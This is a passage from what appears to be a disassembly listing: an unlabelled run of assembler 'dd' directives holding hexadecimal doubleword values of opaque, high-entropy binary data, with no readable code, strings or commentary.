8537C762h, 0B30C4B18h, 596D3657h dd 0D40DF3F8h, 90237B45h, 8511D6h, 4F453AF8h, 0C04764h dd 89965837h, 992ABDEAh, 0AAF23CF4h, 2638E501h, 167076C8h dd 0FB6C8007h, 0C70161EEh, 0CA028FF3h, 46D181DBh, 30D2183h dd 4A903DEFh, 73609BABh, 82CA51A0h, 188B303Eh, 32204C29h dd 0B01F08DEh, 0BF0869C0h, 3C3641A2h, 538098FAh, 12EA506Fh dd 2007E8FEh, 4D603A97h, 87018042h, 2F47D29Bh, 7492ED6h dd 0AA5960B1h, 9C3970B6h, 3674FC65h, 203E3D30h, 0F858526Bh dd 9EE50FCCh, 0FAA3A9C5h, 984C9406h, 344107C9h, 7020D601h dd 5AE877h, 78B78631h, 511E6BC0h, 0EAE5681Dh, 1D014A93h dd 5F4422F1h, 1E4F5AE8h, 0F8C706h, 84CFD375h, 57004DA9h dd 6287A094h, 155680h, 7CECD871h, 23754C81h, 0DB0097E6h dd 8E8A7D47h, 7E9C1687h, 96B10052h, 0FAAE7183h, 4700782Ch dd 0C30708BCh, 7E1927Eh, 739E70E8h, 15A26068h, 7800304Dh dd 87BC9340h, 0EC11FBB7h, 29F26464h, 0FC0E216Ch, 11976B11h dd 6012DE6Eh, 24C26211h, 3C2271Fh, 4B240471h, 715EC3h dd 0AA34D9E9h, 6B0067B4h, 3AB8EC03h, 7B5A95Bh, 224FC124h dd 23D49094h, 0E90963ACh, 805D80E2h, 561D6779h, 483E0095h dd 68C2AE9Fh, 0C7985BAh, 0E400E877h, 1AB6C011h, 7F3B5773h dd 15F90067h, 83F742EDh, 0EA008634h, 32E0F3A5h, 3FC2CB29h dd 9C801A56h, 155D52Ah, 7C00FEE6h, 94AEF276h, 1718D24h dd 6DA98788h, 0D87B8B44h, 4B3BFC21h, 720F97C0h, 2BF9000h dd 3D16A1F3h, 4D18A7FFh, 0E6B3289Bh, 0F5C3AE00h, 0DAB03BC9h dd 4BFE0050h, 0CEF1E8FFh, 0F2E88B52h, 0A10047F8h, 0F516710Fh dd 0E82E3h, 288523F7h, 6820C403h, 0A5B77B18h, 2CD0A8h dd 896C505Fh, 613E6A60h, 7951500h, 927A6BAFh, 49913CADh dd 0D2E18C03h, 3800DBB1h, 9664C558h, 7217CEFh, 0EE6F05CDh dd 7720507Bh, 2C7139A3h, 80AD3C38h, 0F3B981ACh, 48364AC6h dd 0AB002805h, 689A3A9Dh, 84014252h, 0FB4C35EFh, 0D2D81EDFh dd 88C400A0h, 0AD54411Ah, 0E31CB258h, 9C80A103h, 695DEEF6h dd 0B7C70133h, 678FFD95h, 7C3D0D9h, 38006E7Fh, 0D7BFE00Eh dd 7B2C279Dh, 3039F879h, 5D88E830h, 198009B2h, 25CA09E6h dd 2A020284h, 828A76D8h, 582C82h, 440D7C8Fh, 0D739B91Bh dd 16A200CAh, 0D565150Ah dd 40E204h, 9768A7BFh, 8E0E0FC5h, 0F675EB00h, 9F5F1ABDh dd 0E281FAE8h, 0D64A00C4h, 5AC2DC38h, 0E9ECE05Eh, 9A71A401h dd 9120CB8Dh, 179BFCh, 0BD9910DFh, 32ABF621h, 4BEA330Ch dd 0FF7C292h, 0B7AA84Fh, 8BC280E0h, 0B800299Ch, 4E7E4201h dd 8E4CEBh, 563AB3B4h, 902E1245h, 0C70E3000h, 0C1CEB7E7h dd 3B67E262h, 978005B9h, 48291B3Bh, 3E0044EEh, 596D82C4h dd 60057643h, 3151D034h, 1600F52Fh, 38584FD8h, 5C2ABBh dd 0AA46FD08h, 0BA353F44h, 678E512Ch, 21A59707h, 8AC95080h dd 0DBBF00F7h, 7806F12Fh, 0F7A05B5h, 4C244E0Ah, 5F1784D6h dd 0CA13D00h, 0DD6647h, 0BDB7215Bh, 0B42988CDh, 0A8E5F618h dd 1EDEF410h, 8073E8B2h, 0A03670E7h, 0B7230D9h, 0F238E300h dd 0C19F5C39h, 448A3927h, 6598CA01h, 0E883DB1Fh, 77003224h dd 62969105h, 98923FEh, 5BE45AEDh, 76BA0020h, 0C814FD84h dd 0ECBEC4h, 2A8AB1A2h, 7F296117h, 889C0016h, 1ECBB94Eh dd 7B019F1Ah, 28A12EF9h, 3D00B0A6h, 1BF02C93h, 2F1EB800h dd 5798ADF6h, 91A1079Ch, 0B0FD276Eh, 2030CBA6h, 9F83800h dd 4B90CCCFh, 447C0043h, 5008DB03h, 174777Fh, 3A5AB500h dd 0C25B4CA4h, 0A12C0054h, 0B669574Bh, 5F001992h, 317CB7DAh dd 33D1377h, 0A5C5246h, 0A1B7EEA9h, 0DC5E5842h, 3A0095A0h dd 0D25F3905h, 49E312h, 389DD465h, 20D87318h, 9C779F12h dd 5540201Fh, 6E9E7E8Eh, 0F5FC00DBh, 152ABA58h, 0CD001AC8h dd 0F0A8B72Ch, 727D755Dh, 92E4FF88h, 0B0955236h, 0E1132F3Bh dd 179B0081h, 78DD8729h, 0BF4FF900h, 74218DC5h, 4E3A003Dh dd 0F1100C93h, 50778BEh, 3C260FFh, 0BB40403Fh, 128752h dd 0D2471A7Fh, 2152614h, 4FEEB50Eh, 20BC20E6h, 0F34B58h dd 0B0917266h, 73BE0F5Dh, 0F804EB0Eh, 45403953h, 9D3DCD4h dd 33E4F0C8h, 2FB50800h, 0CD12DA10h, 4030A7Ah, 7EDF24Eh dd 993D91A9h, 0E228203Fh, 7E091FE4h, 7603BE1h, 727011F8h dd 0F38BB876h, 88A2DCh, 48AEFDDh, 0D9E857B2h, 64155803h dd 0F8EDDACAh, 0FEF28109h, 0FBEF3A54h, 8F8CF307h, 8417006Eh dd 93001951h, 0E187FD44h, 5DA874h, 6B5CA6C1h, 5385A12Ah dd 12BB7C1Ch, 40F76F0Ch, 3ABF762Eh, 3B003145h, 0B3B06550h dd 5C00D0F6h, 0C1FBB804h, 1CCFA2A1h, 0DF6E826Ch, 0A9BE40B4h dd 12264B08h, 0E34F9D00h, 0E420B791h, 95444CEAh, 0C71C8200h dd 5CAD684Ch, 0BF25DA01h, 26D8C56Eh, 0CC66C8h, 0A88B2357h dd 0A7541D6Ch, 7E1E3DF4h, 5280F433h, 0FA3298AFh, 10513021h dd 6A2CB119h, 0C1072EB0h, 1AAF09C0h, 274164D0h, 1D860038h dd 0B9AF769h, 3C009865h, 91C0CB4Ch, 731B2EB6h, 15740071h dd 371E2524h, 450173DBh, 0BA5FD954h, 64E08C0Bh, 0FB4F00ACh dd 68AE077Eh, 0EE00A56Dh, 44724787h, 202A6C2h, 0AC7E5DE6h dd 9480BE84h, 57C9886h, 9AB9EE02h, 57CAD8E7h, 613CD740h dd 29F2D2F8h, 3DD4BC1Eh, 5AAF8500h, 0C8B9F89h, 0AC4B5033h dd 0B0B0C068h, 383B4C00h, 0D987599Eh, 17478FEh, 5C043C9Ch dd 0D3889318h, 5F616098h, 7126B400h, 0BA0AFEA4h, 0ECE30052h dd 4F95E7C1h, 3001949h, 2F7AC592h, 0EE29ABB1h, 6EF4ECh dd 18144508h, 3B9024A0h, 5981F500h, 93CA382Eh, 0C3E51FFEh dd 0E66CC050h, 0F0A9C069h, 9420FC16h, 0D286D300h, 0DCAE63h dd 9A912715h, 0E1A50DDEh, 70967807h, 61A0C6B3h, 0C83592h dd 3808E810h, 68A129CBh, 6258AF00h, 0AB89F4D5h, 0BB774Fh dd 0A4F2DF60h, 30B9B831h, 5EE15600h, 0DEAD4AA1h, 3EA30023h dd 86489E77h, 9A0042D5h, 3550CA7Ch, 0DD33EFh, 0C065CB17h dd 98951CC7h, 3B968402h, 0C0D95C9Eh, 854192h, 20EE898Ah dd 0A83DF61Dh, 0E9A663Ah, 0C02EFE2Ah, 0AF938D9Ch, 531900C5h dd 5661C76Dh, 0F8004309h, 0D5AB0836h, 0C64C5Ah, 0E72A3412h dd 69FCE989h, 1940AF60h, 50FD5DDFh, 7C64F97Ah, 0DA350011h dd 4B73BBB0h, 9300389Bh, 73C92B8h, 1CC05982h, 222460Ch dd 449AD945h, 0D0137040h, 12DDA71Eh, 0D7998000h, 264162E8h dd 533F518h, 163024h, 14606DA4h, 2D79239Eh, 3A3F6B78h dd 0F2E400C2h, 0ED921EF5h, 77BD2484h, 8E000DCh, 0BB13DA3Ch dd 5D7CC606h, 482A5Ah, 23C9D0F9h, 14D326B7h, 0A0CE90A0h dd 2592BA04h, 3400B943h, 9F154BB3h, 22906400h, 7A5F713Eh dd 89520002h, 0ECD90D31h, 0B100E8EFh, 1C700ADDh, 0F65D8Eh dd 94440324h, 9B1A184Ch, 4EDC9E00h, 512885C3h, 0D6100096h dd 2A6D7D70h, 0FA004529h, 2554F820h, 3D4F2D35h, 891322F4h dd 0E53C4F6Fh, 8A9AD820h, 0C200C07Fh, 3D884E41h, 0CD7659h dd 7E4C4603h, 0A8A96627h, 0E4C83700h, 2DB657D9h, 8C8702EDh dd 7B223B75h, 7DE38C8Eh, 0BC90E578h, 0AEE0D64Eh, 8E3E3F00h dd 1EF157B5h, 24A0E2Bh, 409FFCE8h, 0ABA2439Ch, 0AC00FD6Bh dd 0FACF0CFFh, 26993C5Ch, 0F16376Eh, 0D680FB1Bh, 0EF4D30A1h dd 4C506F00h, 0AB5FF469h, 69100AEh, 3F32B70Dh, 9031AB5h dd 9FFC88D5h, 85701CAAh, 0FD7E4099h, 42E9B86Ch, 0B6F2AE00h dd 268C788Eh, 0E286EC3Eh, 0DF9800A5h, 1B22108h, 2900254Eh dd 0C65E174Bh, 0BCD7F2Bh, 7102A869h, 9208A000h, 0B00BA06Dh dd 0E35D2Eh, 89B13880h, 0AD9D02CEh, 674390E5h, 7F2DC480h dd 0C4772CD4h, 648B4Dh, 4C39D306h, 9B32F0h, 0D7E3B8ABh dd 0F91591F1h, 38617E00h, 0C63746E8h, 0A1E00D2h, 0A5E6D3EFh dd 423A0511h, 3FA1016Ch, 609563F1h, 36B8120h, 0DC272F12h dd 0BA879E9h, 8D00F764h, 0E56E8955h, 15F235h, 81E7CE73h dd 0F7E81EBFh, 0EE4CFDF0h, 91D30750h, 3ED0A862h, 4052A9h dd 0E0AFDF7Ch, 0E6FF7430h, 20601F30h, 8F7053h, 68F552E2h dd 0FAF387F2h, 0BEC6AB01h, 6173F482h, 0E5A42880h, 8010F7D5h dd 0BFD93039h, 0EEE8B9Ch, 810300B1h, 0F6F8397h, 0EDF3B267h dd 202C77E0h, 0EE0068C9h, 0FFCB7B93h, 70B2BC5h, 4C9E44A0h dd 18BC604Ah, 3A005219h, 125F62B7h, 1F3FECh, 0C59509BEh dd 0AEE691F3h, 0E8753800h, 0D8853498h, 8E73078h, 0FF939620h dd 69C48E03h, 0E850E1C8h, 77D72E5h, 65B53AD2h, 0F477210Fh dd 7651E839h, 72C78900h, 0EE319020h, 0DE1800E9h, 588B8D7Bh dd 0FBB8DB5Ah, 0CB00E2EEh, 0C7432FFEh, 1F5C35A1h, 0C04666C3h dd 8A4F63FBh, 910075F2h, 9F9DB13Bh, 0F33EC02h, 0CACCDD8Dh dd 74D2AA60h, 0C776D317h, 209069E8h, 7EAFF9A0h, 5BE15C16h dd 0E2BC6C01h, 7B612B33h, 267ABC41h, 0DFBDC440h, 68CB0BFh dd 159D028h, 2C07110Ah, 0E5E4C984h, 301F3710h, 2C2F4DBh dd 5FDF9D19h, 2E0BBD9h, 0C602AA7Eh, 10CF642Eh, 0D5D06052h dd 8D881F3Dh, 0E9A0C0C3h, 0D32F11E0h, 0DA30FD00h, 0B1BEF265h dd 5AD0032h, 0B0A975AAh, 8F0638D6h, 0A0017C9Fh, 14831858h dd 65665CECh, 0D2A29700h, 0E6DBF9E2h, 0F7B05Bh, 73A9D188h dd 1B3B3C9Dh, 7DD39B03h, 0E85FD283h, 0E0843E4h, 0D99A9869h dd 4B3A003Fh, 18964DFCh, 610DC00h, 71F795EAh, 0FAA01C2Fh dd 5B56CB36h, 5263C480h, 390A1ADBh, 0AEEDD607h, 4D42191Fh dd 0C8DDA2D1h, 27BD18h, 1830E70Eh, 0EC77E54Ch, 3600D498h dd 9489856Ah, 0DF2349h, 0B9D0516Bh, 7480BC6Ch, 13EF5D00h dd 0FD326ACCh, 1D7307F6h, 0AA4C95h, 0C086F12Bh, 0E0025EF8h dd 186EB9C4h, 0BC18C06Ch dd 38B10097h, 0AB6AE648h, 0D800B710h, 0ACC0D384h, 0E7E843h dd 0DF71B9F9h, 0C273DD45h, 67EDE00h, 7F670A50h, 3A8705A8h dd 0C022376Ch, 0A3EE296Ch, 0D13F640Fh, 968020B6h, 796143h dd 3E7B868Eh, 71DE4B65h, 0FE580200h, 38BA50A7h, 0AC9A0521h dd 860BCB46h, 0FD2EA18Dh, 0B7007696h, 5290AE98h, 2CFE00A6h dd 0AFDC2BBDh, 0BF001E62h, 0B9491F03h, 21CB39h, 4C5BAAC2h dd 6FDEFF5Fh, 0B3661701h, 0E19D06F2h, 498FF841h, 8AD5864h dd 29AF1D9h, 0D3BDD107h, 0BF7B90C0h, 86D4390Dh, 709202FCh dd 73DB04C6h, 0CC7194E1h, 670057E2h, 0A3962822h, 26EB11Eh dd 74FD0BF4h, 49402098h, 94585A81h, 633F0758h, 897045C5h dd 12BF46D7h, 413BA679h, 0D2BCF304h, 287FD4E3h, 0BA073Ch dd 33A4CD89h, 0E602F9h, 0FC460FEAh, 0C717B808h, 0CF3F1000h dd 0BA9D3C9Fh, 0DBAC034Dh, 8AA2D726h, 583D40E7h, 0CB014879h dd 2BD8E956h, 0C4E05B7Bh, 0EF5E0371h, 0D522F6B5h, 609A80B5h dd 0E9005523h, 0AAD0F589h, 1EDBEAFh, 3A3DD30Ch, 0F88E7D27h dd 2102B3C5h, 33A5649Dh, 0DE38E9A9h, 0B8181808h, 0DFB0A7A8h dd 0DF10201h, 53D0F6B4h, 0DEC3D140h, 0A04810EEh, 0D9CD0114h dd 0E2392E9Fh, 1FE820h, 0B9A153CAh, 0BFDB812Ah, 0A61A0B09h dd 59D800C2h, 390351Dh, 0A562F441h, 810E0A93h, 503F5BEh dd 6FC059B9h, 0DFB04h, 47630B7Ah, 185E6DE9h, 968B1200h dd 26CF2936h, 792E0122h, 3D30BE97h, 0FABC4015h, 5C00AC88h dd 9644ABBh, 83610Eh, 0CB30AA94h, 1A23586Bh, 758A2D03h dd 988B9CDDh, 0E79BB938h, 1E6E01DCh, 9E4AB86Dh, 0E11680A7h dd 66D8EA3Ah, 393BA3EAh, 0E77E0070h, 9FDEFCA2h, 3694070Bh dd 10EAD57Fh, 5C32EB6Bh, 34446848h, 0C00ED895h, 89167A7h dd 850EC851h, 1CB8C1E8h, 9AE103h, 9305C051h, 0EE00ADA5h dd 0B673FC12h, 0EFD0DAh, 750210A2h, 4C2D45B3h, 0B44C748h dd 718063h, 0EC726564h, 0E0B9070Ah, 0E0F69412h, 0D0DDFEE1h dd 57EDC201h, 3484F489h, 86A54424h, 0DED29015h, 0A78701E4h dd 0B78AAF66h, 0ACE1AF0h, 0DBF20767h, 713502DCh, 40752514h dd 17720FAh, 338BAAF7h, 8C9F75A4h, 204244F0h, 0E17901BEh dd 9688B490h, 0D17080A4h, 8FECEDE0h, 2127012Eh, 9A147CF7h dd 0BC67D0D4h, 9B7ACF00h, 1703619h, 179C5803h, 82C1BE00h dd 8C8F409Fh, 0B842773Bh, 0F2D10FD2h, 0BBC500F5h, 399F905h dd 0E43C6BBCh, 539F9B97h, 0E7D05F94h, 5B00B50Ah, 8D2A4F53h dd 30565A1Fh, 27B0A0C8h, 3F008B6Eh, 0C7D85150h, 81827Bh dd 0E15AEA44h, 38B66CA2h, 172E7902h, 4039361Ah, 147C0EE2h dd 0CC45214Eh, 82487D00h, 23E60CCAh, 134A6900h, 1807C9D2h dd 160D00F5h, 5930AFC4h, 50904771h, 0A0007E75h, 666436CAh dd 1FE39BEh, 0F26E72D8h, 31D9184Dh, 0D3988700h, 6B474E84h dd 0F614B860h, 0CDC4007Fh, 8C2789BDh, 69789529h, 0A34AF301h dd 9E6B9BBAh, 4ECCA71h, 81BD001Ah, 7CFD7D0Fh, 0E00E8FFh dd 0B870E58Dh, 77E3B69Bh, 538500D4h, 8E45A8C4h, 160064BDh dd 0AEA37B50h, 3F42D52Ah, 0B8057BBh, 0A57DD648h, 0EF00A44Dh dd 21F954D3h, 0E613B7h, 855A82DDh, 2974B55h, 0FD893F14h dd 0C45201CEh, 0F68DE5BFh, 0F665A5C0h, 1A545877h, 0F15D9900h dd 0A0E62DA4h, 0C16E7407h, 0B9D0A8F3h, 0F60138Ch, 6C2CDFB4h dd 0A4FC7C07h, 1BB0B044h, 83F71400h, 0E8044079h, 0DC8005ECh dd 0C0C3D002h, 6F0FCC82h, 0C66A4C00h, 0CB382A5h, 0D54B066Eh dd 115418CAh, 0CE73F901h, 0A5E81A6h, 69ED30h, 0CB791D4Fh dd 362AE803h, 0BCD71C0h, 14EB47Dh, 1681F14Dh, 307B4389h dd 3178EF5Ch, 92EA7C3Fh, 98C76FB3h, 20BAE7C7h, 1CD4A900h dd 0E844CB78h, 4E62007Ch, 79280F14h, 5600E132h, 33A8E84Dh dd 7D5D2069h, 701803D8h, 94216ACBh, 487843BBh, 0DF1C4C00h dd 787C4D36h, 2CFA6Fh, 0F1A965B1h, 3D201689h, 0A8604Dh dd 0B64D3EE8h, 5023C8B3h, 0FAE00C07h, 51FD06ADh, 8C08516h dd 21828314h, 0B9EB0F58h, 0D891005Bh, 0B0D740h, 0F23281C6h dd 0FF604649h, 1EC8AD07h, 0BA30DAFCh, 166EE64h, 77C2ECA6h dd 0E8862453h, 0E5008456h, 7615087Ch, 2774D4h, 16B5926Ch dd 67F4A831h, 49BE4500h, 13E08636h, 600B72D5h, 47A5A86Eh dd 9B9001CCh, 1A538101h, 63F8128Bh, 5A58D4h, 35A07ED5h dd 0FCA752A6h, 4FB20401h, 0AC63A122h, 0BD0DE0h, 48EFD3D0h dd 609884B9h, 5935F38h, 0DA5A9A82h, 0AEC420C0h, 0FD5D0044h dd 4F771C3Eh, 0D43D5242h, 724D75E4h, 0AC48319Ch, 11D8AB75h dd 0D86E005Fh, 0DFB1E950h, 9E00C496h, 7165FBBDh, 70F6A54h dd 39F4A69Bh, 4678163h, 0C1FC21DAh, 6899D93Eh, 0AF7701E0h dd 0FEACCD25h, 229030h, 0C2BF3EB6h, 0E2134B41h, 0E0ED6900h dd 2D6EB586h, 3E8400B2h, 539A94EFh, 220087FEh, 19978F4h dd 1EE58C36h, 0C04050CAh, 7F68F304h, 0BA00B0F5h, 2C57CF0Fh dd 0A956FE63h, 0D43227F0h, 40ADC916h, 41CD92F4h, 0E001905h dd 89CC229Dh, 3D93783h, 632D5006h, 411D3398h, 5A404229h dd 5C1D73ADh, 1B770584h, 907691E9h, 8AF4AF8h, 0C0472307h dd 2121C6A2h, 14306604h, 0B36B5828h, 9729E900h, 2BD0F45Bh dd 24003A5Ah, 1FF1A8B0h, 0B4CC0063h, 0AB9FC3ACh, 5FF46EC4h dd 25C2A4A0h, 0A0705413h, 0B1D0B040h, 0EF4537h, 0E57AFD46h dd 68846950h, 6DF24300h, 29E196A0h, 0D65B1C63h, 0D59CC58Ch dd 3C41EBAh, 47786527h, 0C2E21100h, 54E93D89h, 4E8A06FAh dd 7814765Eh, 9CA65B00h, 0C673C95h, 0D9300327h, 0F5D583E5h dd 80FEF980h, 2F71F214h, 4A4703A8h, 80B46131h, 0EE3504h dd 91663ED9h, 45B2626Fh, 5A21F500h, 5D7D7F39h, 49130B6Dh dd 0C5038FDDh, 0EA8B7F9h, 0B20F52D4h, 0EB632F98h, 585C24C2h dd 547E80C0h, 0E4270037h, 0B57DB323h, 311E2443h, 0E07E1A56h dd 0A56C66D8h, 0C90E0051h, 0CDC2D8D6h, 0E60C8395h, 7836AC8Ch dd 359C002Ch, 8534C444h, 0F6A147F6h, 0F72FD44Dh, 6A03C0B8h dd 5CE870B4h, 3756D178h, 556E30h, 0EE59572Ch, 0C606AAB6h dd 4BF3309Ah, 0B3BE00CCh, 725AC589h, 0E8A31435h, 0FE00B8BDh dd 96B66B5Eh, 9EB0E662h, 7701E472h, 49913590h, 3121C6BFh dd 71AF43D8h, 6CE13959h, 0C522D407h, 21EA40E6h, 757004F5h dd 8F858A2Dh, 0C7D301FCh, 5C2808C3h, 0EC682903h, 0AA9037C8h dd 232CB696h, 9D00160Ch, 561C9BA6h, 3FA8EEF8h, 978437EFh dd 819C76E9h, 1033689Ch, 1954239h, 0DC7B7166h, 0FCD2B1A5h dd 8C01D5C7h, 0AE8E12E3h, 282CED1Ah, 7E641B00h, 0A6FE8393h dd 501CFD5Eh, 0E2C0A45Ch, 73CFB06Fh, 684E2E23h, 755100C0h dd 6D5E37A9h, 0AC1E0EE2h, 0E640A0A7h, 9D3DD374h, 0ACB0089h dd 3F3E8370h, 6B003516h, 42F30982h, 0C093BEh, 0D4E422BCh dd 6130955Dh, 0F04DF700h, 19B640D5h, 53EC0002h, 0D3FECFA0h dd 1EECE121h, 0FCB2900h, 0CD7614D9h, 0EC105D50h, 0A0692076h dd 0D109E77Eh, 0E27BCC8h, 578BA330h, 0CFD00098h, 2A12BB82h dd 0FFFD3681h, 0D250F1D0h, 8022453Dh, 7DE9C959h, 0E3702Dh dd 527ECCA3h, 0D6C8CFBBh, 1D0E33E8h, 604303F6h, 0F3054E3Eh dd 7706006Eh, 50662EDCh, 80131F8h, 731F28A6h, 1B214789h dd 3F9D2880h, 31B10F59h, 2DFD4303h, 0C030127Bh, 0FB5133h dd 398B7813h, 93E08321h dd 48FC3D00h, 7F64C94Fh, 7A8D000Ah, 0C47E406Dh, 0E9168975h dd 7300B69Dh, 76508156h, 603F0EC1h, 19E0920Eh, 75BF252Ah dd 96ECE401h, 7E4CA7ABh, 45EF864h, 0ED41AD65h, 0BAC48845h dd 0B5FE8207h, 90F06455h, 1EB79FDEh, 1CA09DAh, 0BDBE7457h dd 0F3A4406Ch, 4C00A8F2h, 409F535Fh, 0E76554h, 4D70454Bh dd 3DD958Ah, 2B7F6714h, 0A40C16D4h, 0C9D0F420h, 29060032h dd 8D966328h, 2100D680h, 815EDFE6h, 3362327h, 991A477Ah dd 1FA13D65h, 5085D9B9h, 5C6D5090h, 0ACC0A528h, 89F81DA0h dd 3FBD8D07h, 0C08F48A4h, 51979ACDh, 0FB840B46h, 3C071AE8h dd 85EDC2C4h, 0DB07D680h, 940022F5h, 6F1D69A7h, 0FD7BFAh dd 71CA7408h, 6E078F4Fh, 22429D00h, 0C50CCB40h, 9640052h dd 0DF106FB1h, 0F91255D7h, 0B0086F1h, 5AF04EEEh, 43770063h dd 58BB37AEh, 61244D89h, 4E008F1Fh, 0BA9A1EF9h, 9368008Ch dd 5CD5CE3Ch, 2F02C21Ch, 24277566h, 405C54CFh, 1263F9FCh dd 0C3433C00h, 4727E214h, 4E7ECBFh, 0D264DDADh, 93C080AFh dd 3C00D0A6h, 0B616032Fh, 0B6F0DEAEh, 0C55F80ACh, 0E7B8CBACh dd 0D4E52300h, 2CF14C05h, 3B1FA73h, 0D9999A89h, 0C5844812h dd 7A24A46Ah, 1C6AD124h, 9EE08880h, 589F44h, 0EB667D93h dd 0AE9537DFh, 0AC8959h, 58E23ED6h, 0C00F72ACh, 96AB9411h dd 98000471h, 732630EDh, 4184CA0h, 0FC7DCAB1h, 6A109061h dd 0E40F82B2h, 0A1263615h, 93897E81h, 0EF2000FBh, 0EA771661h dd 564AB33Fh, 18476022h, 34801BDCh, 556F011Ch, 288BE1F5h dd 57B03A76h, 77150098h, 8164B266h, 24A16CB3h, 28F070E9h dd 0E3C178C0h, 24EE86Eh, 0C9B3AD4Dh, 4C520623h, 0EFE9EA3Dh dd 75260670h, 0C9E0FA8h, 3D233280h, 47D8EB60h, 7009122h dd 4BD10EC6h, 1E8CC9E5h, 431E7EA6h, 27958036h, 0F54A2E4h dd 0C00185F6h, 52C7B88Eh, 1B5D3ED5h, 0FF48980h, 0BC62DA22h dd 0EB3F7D00h, 52B1B878h, 711A0094h, 0FB050435h, 4F000155h dd 0BE5EDFEh, 4A11A3h, 0C587E04Eh, 66DE90Ch, 9B4D1703h dd 887BD2BAh, 72016937h, 80B75022h, 273C0579h, 40140843h dd 5C37958Ch, 570001EEh, 3CD19F71h, 17736862h, 0FAC88AAh dd 0F7293079h, 34CCE380h, 150ABF82h, 0F1FC5131h, 83C0BE00h dd 78938F5h, 6D709DD7h, 6A520193h, 0B070292Bh, 0B2D6A9CEh dd 18E90E48h, 35A07308h, 2966638Ch, 0E80BAC71h, 221E106Eh dd 0C04C3AA0h, 1392A424h, 8286748Eh, 6C405C94h, 5200B07Eh dd 0EF9707Dh, 3BB67AEh, 0FCA76FC6h, 70B7B737h, 20DA78A0h dd 49BD3200h, 0DDBB6209h, 0FCA21610h, 0BA00EF1Dh, 9283AB45h dd 5DDC3EE6h, 8C6200Fh, 4885D9C0h, 0AB0BB1D7h, 808873C3h dd 68D58219h, 0BBA9267Fh, 0BCE403E4h, 8A902E86h, 7CE4B1C2h dd 0D21033Eh, 165FAC80h, 0B008A460h, 78330BC3h, 8CC0536Dh dd 151844FEh, 97F1BB65h, 4EF52632h, 0C6D83E4h, 0E08B2062h dd 17A5D9B8h, 7F4BE80Eh, 3B3A61ADh, 0AEF86B29h, 0E71D0061h dd 92D89351h, 9B00260Eh, 7FCE36ABh, 28E2910Ch, 2BC5AA1h dd 4FF45FB1h, 0A0E01001h, 0D48830DEh, 0ADCC1824h, 0C40B285Eh dd 7969F51Ch, 1EC7D0C0h, 3BDE3FD1h, 0CC0EF8DBh, 0A7647E19h dd 53ECF034h, 9060100Ah, 0E782F0D0h, 0FA07116Ah, 0AE438E0h dd 630D007Bh, 7C3BBDD4h, 952C2215h, 270020A1h, 0E675EFBFh dd 0F0490AD1h, 80F89C6Eh, 0A9379F50h, 8D05C4FFh, 0F95F903Ch dd 0BEDE9000h, 0F7C965h, 27E5FA28h, 0B0371218h, 0FE5E8600h dd 8FDE7C24h, 0D11013BBh, 9D84C03Ah, 8600DFB4h, 1ABAF8FFh dd 41445h, 0C7D4EE77h, 0F736A718h, 3D4C5C00h, 8802A80Dh dd 82E001ADh, 70D7C4E6h, 4068645Eh, 53B7B303h, 0F034F6B9h dd 1F760D92h, 732D99Dh, 0B447A5F8h, 867A8043h, 6F00D14Dh dd 0AABF9D5Eh, 0B74CC05h, 0B382199Ch, 42E278A0h, 7001659Eh dd 0BB95DE7Eh, 5F305547h, 6C5E0045h, 4F5007F8h, 8800829Ch dd 0EAEEF034h, 1367A2Ch, 0C2F804B8h, 30C05BA1h, 1E0102DFh dd 70698D58h, 0E6CC7186h, 29753B80h, 56A04B8Eh, 48FD440h dd 14019A8Ah, 1022F46h, 0FAE411C5h, 4C8E0ECFh, 7B65ED4Bh dd 0F8A8E017h, 1B03807h, 1544A477h, 0DC8F73C0h, 1A4000F7h dd 3766981Ch, 0C2387FD7h, 0C06C28CFh, 62C83B03h, 0DA79BEh dd 0C78D2310h, 0F5FEBC61h, 0E412D9ECh, 0F0C0641Dh, 6E935Bh dd 0FF7998C8h, 12B2258Ch, 2685B914h, 77DB00FCh, 590AC569h dd 0F86B13FDh, 0B5E040A2h, 8435AF43h, 0F4EC46FAh, 11AB0125h dd 0E7D4F370h, 36524D2h, 0F47D835Ch, 17D0A609h, 0FC067F3Fh dd 5C1C958Fh, 0B527221h, 5686D9E4h, 2CB390A0h, 0F603518Fh dd 88271245h, 0EB3CEBBEh, 499BB896h, 0DB6600C1h, 351E3FAAh dd 0C00FA9Ch, 0A262E801h, 32A21h, 0BE8E84D5h, 68EC2538h dd 1BBC0B50h, 80F68B39h, 94C38F6Fh, 36617h, 91CE0EFFh dd 0D95425FCh, 14986300h, 9C99CDDCh, 43EEABh, 8F2B78EFh dd 0D23E4B3Dh, 0D98ADB00h, 75B41AF2h, 33870A0Eh, 92941D39h dd 0DCE4C843h, 86E8600h, 9C7D394Bh, 78CB583Ch, 1FF68803h dd 0B1B8442Bh, 2C1C8DEFh, 31C315F1h, 0A0976068h, 2E7E3F9Ah dd 2E48B751h, 0A392009Ch, 2086AF93h, 0DB7C88BAh, 58608E88h dd 0D000A4F0h, 890CBFC1h, 8F035B88h, 8453338Bh, 75A003A3h dd 993883EDh, 1478B792h, 87823605h, 0CC435629h, 0D91B2688h dd 387D60FEh, 1E2F054h, 525F38EAh, 82B2D5A2h, 39458D41h dd 1D6C35Dh, 0C2103329h, 70FBFC73h, 0D5052466h, 71D80BF7h dd 0A8F32CE1h, 25E2B410h, 80C07583h, 4E03D33Dh, 0C663361Ah dd 2E06E913h, 95487D6h, 8D448159h, 0A8403144h, 98E7FA25h dd 0CAB40165h, 708FF305h, 34212FB2h, 8C3D45BAh, 980C1A14h dd 29062A00h, 0B95FC0Fh, 0EF80D403h, 0E0507415h, 0A03246ACh dd 0BDC76ACh, 5B1EB591h, 0B0008463h, 1391FABh, 1C69EE7Ch dd 637D23h, 4D387BADh, 0CE0094DAh, 9A60566Fh, 3B0DC644h dd 0A88023AAh, 694EA70Ah, 382FC255h, 7745476h, 406B6DDEh dd 4B99FBDh, 5195FA00h, 0EE3E8632h, 0A6FB003Ah, 38D86310h dd 55096794h, 40577645h, 71753D98h, 0A3DCA83Bh, 38A60051h dd 828B6612h, 0F67914A4h, 361CF000h, 7CD3B092h, 74EFA4Ch dd 6B3E3C30h, 0E02C9080h, 41002B63h, 420515A4h, 1C94CB35h dd 0C14D021Fh, 9302C75h, 0B044E64Bh, 0B5477D0Bh, 5CA50540h dd 85F5280h, 4D930480h, 801E98A1h, 847A7E64h, 0CAA6DF00h dd 0BA9D35D2h, 3E6305A9h, 90C3D0h, 4AFD1D86h, 45002C34h dd 73A7131Eh, 31621DCh, 462D9596h, 5650A9BFh, 2E5CFF1Ch dd 0E7BB1E90h, 0A4007C52h, 